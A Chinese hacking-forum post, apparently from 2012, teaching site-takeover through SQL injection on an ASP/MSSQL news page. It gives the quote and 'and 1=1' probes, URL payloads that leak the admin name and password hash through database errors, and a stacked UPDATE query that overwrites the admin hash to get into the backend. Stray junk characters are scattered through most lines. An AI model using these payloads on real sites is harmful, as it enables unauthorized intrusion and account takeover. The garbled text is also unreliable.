经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
6 M7 n( @+ I' u% H! ^可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)# R. D8 p& ~, h |& c
测试如下：
& U9 y- b: q0 O" i+ ]5 X7 ihttp://www.tmdsb.com/news.asp?id=121
0 R4 K, S5 ^2 l; j2 A3 r4 s9 @在地址后输入单引号，显示
6 F. R' G/ X7 W7 w% T/ AMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’ u1 Y9 t6 X, K0 ?; E; Q8 D; `
字符串 ’’’ 之前有未闭合的引号! ~+ p5 c: m# C' P9 o' ^3 N
/news/tmdws.asp，行63! M6 h* w4 @9 T0 @( d2 A0 t* [
说明没有过滤单引号且数据库是MSSQL.
. e A% A5 j4 N) a" w- r1 f/ jand 1=1正常。and 1=2出错。肯定存在注入3 r' f4 n, q! v- V$ u( [, n* j
接着输入
9 S, M! _5 R" a6 O- `8 q' i7 Fhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
2 l. p( e& e) V$ K! \# T得到帐号为:admin
' a: h% T, e9 @/ phttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)% o4 r( \5 m" d" d4 p' _
得到密码为:a4716077c2ba075c
9 J; [. Y4 B* ]) t/ |6 p接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433# f) Y0 r2 A% j6 y- C6 T( S# e+ X
命令如下 :& z- j& _; I5 @1 t9 p
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
$ n2 d0 }1 L: A6 T& C这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41